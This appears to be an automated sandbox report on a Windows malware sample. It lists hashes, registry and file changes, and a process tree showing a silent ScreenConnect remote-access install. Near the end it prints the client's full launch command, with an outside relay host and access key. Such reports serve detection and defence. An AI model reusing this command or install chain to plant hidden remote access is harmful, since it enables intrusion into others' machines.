97e21cae94fbc1c11b2505b713280a211ca4e281057e7d0c6c6dd740f78fc163

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 05:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Size 4.1MB
Sample261024-gpb6raf17y
SHA256 97e21cae94fbc1c11b2505b713280a211ca4e281057e7d0c6c6dd740f78fc163
MD5 874bf6c1bc10249de4781568c2c2c5d1
SHA1 e8f6876e031aae4fb5bb9972639251ebfdbf16ff
SHA512 64feb503f686fd3146c315a053eb7b173209697ef84d41c52ddd12e4bd6c83d661e37845926f3208e24d1aef3e599c406d655d3aee8f695b5df928853070df43
SSDEEP 49152:QvcJdZqhri963PSumT0+TFiH7efPp3Z0I/CmJMJzLHWEdLaz62fayyC6XGupG91V:FPZqw6+6efPY0CmJWLLLazXVeGwaf
TLSH
T11F16D011B3D181B5D0BF0638D8795666A774BC099321CB9F9794BE696E33BC08E22373
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery ransomware

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1984	ScreenConnect.ClientService.exe
472	ScreenConnect.WindowsClient.exe

Loads dropped DLL 25 IoCs

pid	Process
1916	MsiExec.exe
5620	rundll32.exe
5620	rundll32.exe
5620	rundll32.exe
5620	rundll32.exe
5620	rundll32.exe
5620	rundll32.exe
5620	rundll32.exe
3724	MsiExec.exe
3724	MsiExec.exe
3724	MsiExec.exe
3412	MsiExec.exe
3412	MsiExec.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\system.config	msiexec.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59be84.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF970D3E1998CDF283.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E4FA0C48-5BA9-48DE-8763-0FED04B6F648}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC356.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC413.tmp	msiexec.exe
File created	C:\Windows\Installer\e59be86.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{E4FA0C48-5BA9-48DE-8763-0FED04B6F648}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC60A.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCF3B441F84D0BE8B.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9DEDEF6DC41F9CA2.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC463.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{E4FA0C48-5BA9-48DE-8763-0FED04B6F648}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{E4FA0C48-5BA9-48DE-8763-0FED04B6F648}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\e59be84.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC357.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC54E.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7CD3F6D02A5A1935.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000463f4e358e8ea170000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010463f4e30000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010463f4e3000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30463f4e300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60463f4e300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 32 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-edeffbda3bb6fbcf\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (edeffbda3bb6fbcf)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\PackageCode = "49DB8A769E037CC4EA1FA8CA07E72104"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\ProductName = "ScreenConnect Client (edeffbda3bb6fbcf)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\84C0AF4E9AB5ED847836F0DE406B6F84\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\Version = "352586135"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-edeffbda3bb6fbcf	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\shell\open\command	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2E625960900D2EF3DEFEBFADB36BBFFC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\SourceList\PackageName = "setup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-edeffbda3bb6fbcf\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\ProductIcon = "C:\\Windows\\Installer\\{E4FA0C48-5BA9-48DE-8763-0FED04B6F648}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\2E625960900D2EF3DEFEBFADB36BBFFC\84C0AF4E9AB5ED847836F0DE406B6F84	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\84C0AF4E9AB5ED847836F0DE406B6F84\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\84C0AF4E9AB5ED847836F0DE406B6F84	msiexec.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6124	msiexec.exe
6124	msiexec.exe
1984	ScreenConnect.ClientService.exe
1984	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5796	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
Token: SeShutdownPrivilege	4776	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4776	msiexec.exe
Token: SeSecurityPrivilege	6124	msiexec.exe
Token: SeCreateTokenPrivilege	4776	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4776	msiexec.exe
Token: SeLockMemoryPrivilege	4776	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4776	msiexec.exe
Token: SeMachineAccountPrivilege	4776	msiexec.exe
Token: SeTcbPrivilege	4776	msiexec.exe
Token: SeSecurityPrivilege	4776	msiexec.exe
Token: SeTakeOwnershipPrivilege	4776	msiexec.exe
Token: SeLoadDriverPrivilege	4776	msiexec.exe
Token: SeSystemProfilePrivilege	4776	msiexec.exe
Token: SeSystemtimePrivilege	4776	msiexec.exe
Token: SeProfSingleProcessPrivilege	4776	msiexec.exe
Token: SeIncBasePriorityPrivilege	4776	msiexec.exe
Token: SeCreatePagefilePrivilege	4776	msiexec.exe
Token: SeCreatePermanentPrivilege	4776	msiexec.exe
Token: SeBackupPrivilege	4776	msiexec.exe
Token: SeRestorePrivilege	4776	msiexec.exe
Token: SeShutdownPrivilege	4776	msiexec.exe
Token: SeDebugPrivilege	4776	msiexec.exe
Token: SeAuditPrivilege	4776	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4776	msiexec.exe
Token: SeChangeNotifyPrivilege	4776	msiexec.exe
Token: SeRemoteShutdownPrivilege	4776	msiexec.exe
Token: SeUndockPrivilege	4776	msiexec.exe
Token: SeSyncAgentPrivilege	4776	msiexec.exe
Token: SeEnableDelegationPrivilege	4776	msiexec.exe
Token: SeManageVolumePrivilege	4776	msiexec.exe
Token: SeImpersonatePrivilege	4776	msiexec.exe
Token: SeCreateGlobalPrivilege	4776	msiexec.exe
Token: SeCreateTokenPrivilege	4776	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4776	msiexec.exe
Token: SeLockMemoryPrivilege	4776	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4776	msiexec.exe
Token: SeMachineAccountPrivilege	4776	msiexec.exe
Token: SeTcbPrivilege	4776	msiexec.exe
Token: SeSecurityPrivilege	4776	msiexec.exe
Token: SeTakeOwnershipPrivilege	4776	msiexec.exe
Token: SeLoadDriverPrivilege	4776	msiexec.exe
Token: SeSystemProfilePrivilege	4776	msiexec.exe
Token: SeSystemtimePrivilege	4776	msiexec.exe
Token: SeProfSingleProcessPrivilege	4776	msiexec.exe
Token: SeIncBasePriorityPrivilege	4776	msiexec.exe
Token: SeCreatePagefilePrivilege	4776	msiexec.exe
Token: SeCreatePermanentPrivilege	4776	msiexec.exe
Token: SeBackupPrivilege	4776	msiexec.exe
Token: SeRestorePrivilege	4776	msiexec.exe
Token: SeShutdownPrivilege	4776	msiexec.exe
Token: SeDebugPrivilege	4776	msiexec.exe
Token: SeAuditPrivilege	4776	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4776	msiexec.exe
Token: SeChangeNotifyPrivilege	4776	msiexec.exe
Token: SeRemoteShutdownPrivilege	4776	msiexec.exe
Token: SeUndockPrivilege	4776	msiexec.exe
Token: SeSyncAgentPrivilege	4776	msiexec.exe
Token: SeEnableDelegationPrivilege	4776	msiexec.exe
Token: SeManageVolumePrivilege	4776	msiexec.exe
Token: SeImpersonatePrivilege	4776	msiexec.exe
Token: SeCreateGlobalPrivilege	4776	msiexec.exe
Token: SeCreateTokenPrivilege	4776	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4776	msiexec.exe

Suspicious use of FindShellTrayWindow 18 IoCs

pid	Process
4776	msiexec.exe
4776	msiexec.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe
472	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4776	msiexec.exe
6124	msiexec.exe
1916	MsiExec.exe
3724	MsiExec.exe
3412	MsiExec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5796 wrote to memory of 4776	5796	2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe	89
PID 6124 wrote to memory of 1916	6124	msiexec.exe	91
PID 1916 wrote to memory of 5620	1916	MsiExec.exe	92
PID 6124 wrote to memory of 4888	6124	msiexec.exe	97
PID 6124 wrote to memory of 3724	6124	msiexec.exe	99
PID 6124 wrote to memory of 3412	6124	msiexec.exe	100
PID 1984 wrote to memory of 472	1984	ScreenConnect.ClientService.exe	102

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_874bf6c1bc10249de4781568c2c2c5d1_amadey_elex_glassworm_icedid_karagany_luca-stealer_njrat.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5796
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:4776

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6124
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C3952A935DF9F0844B84535DAC7710B7 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI792E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5620
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4888
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6EA27902BEA7AB6A465CB56CE3A6B2C6
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3724
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A3EFDE2E55EA4AE43D0324203AE91182 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3412

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2540

C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-rrfxdq-relay.screenconnect.com&p=443&s=6d4a732f-80a3-416b-b727-b21948df6526&k=BgIAAACkAABSU0ExAAgAAAEAAQDvpdbG6sEIl1NMEVID9EPF0FyKWA4dUTbuLO02Hx0BfFJS1L9XE22%2b8xJ3PykhTrqPMqxamVXVtFEHZ3lubE1s9WTJFv6gb9BRsVzVdYuleFZONbaxhxNu%2fCn%2bjhFAfyxEQTgF7mWG3XnsXm1e9822oVleRD7GFxN0%2f3zEbTOndc%2bhDmBmiPMIxREEWKJxvWNMT3VRHi49t9XkoxGKGveKNZjF9AN79TpA%2fPyRU7obUKnqOLmzx3hGb4tB8BoHxmIWlHXxyyJPTfdz4FpX01SzJtcS4%2fy3sc7Ab4mdKGhydqawt75fXrXtENQvLyTxa1HclF07Q%2fqSy1OddQirfFyH&t=Denise%20Blanchard&c=GPC&c=&c=&c=&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (edeffbda3bb6fbcf)\ScreenConnect.WindowsClient.exe" "RunRole" "74e9e4f5-b2c1-429b-a4df-406e8b0e69f6" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59be85.rbs

Path C:\Config.Msi\e59be85.rbs
Size 212KB
SHA256 84c41a345518906e86ba85d4a6a84e7458a363d4a47fbc409d4eedaf4be96926
MD5 db37d64133d44b278aeb7a262313cf37
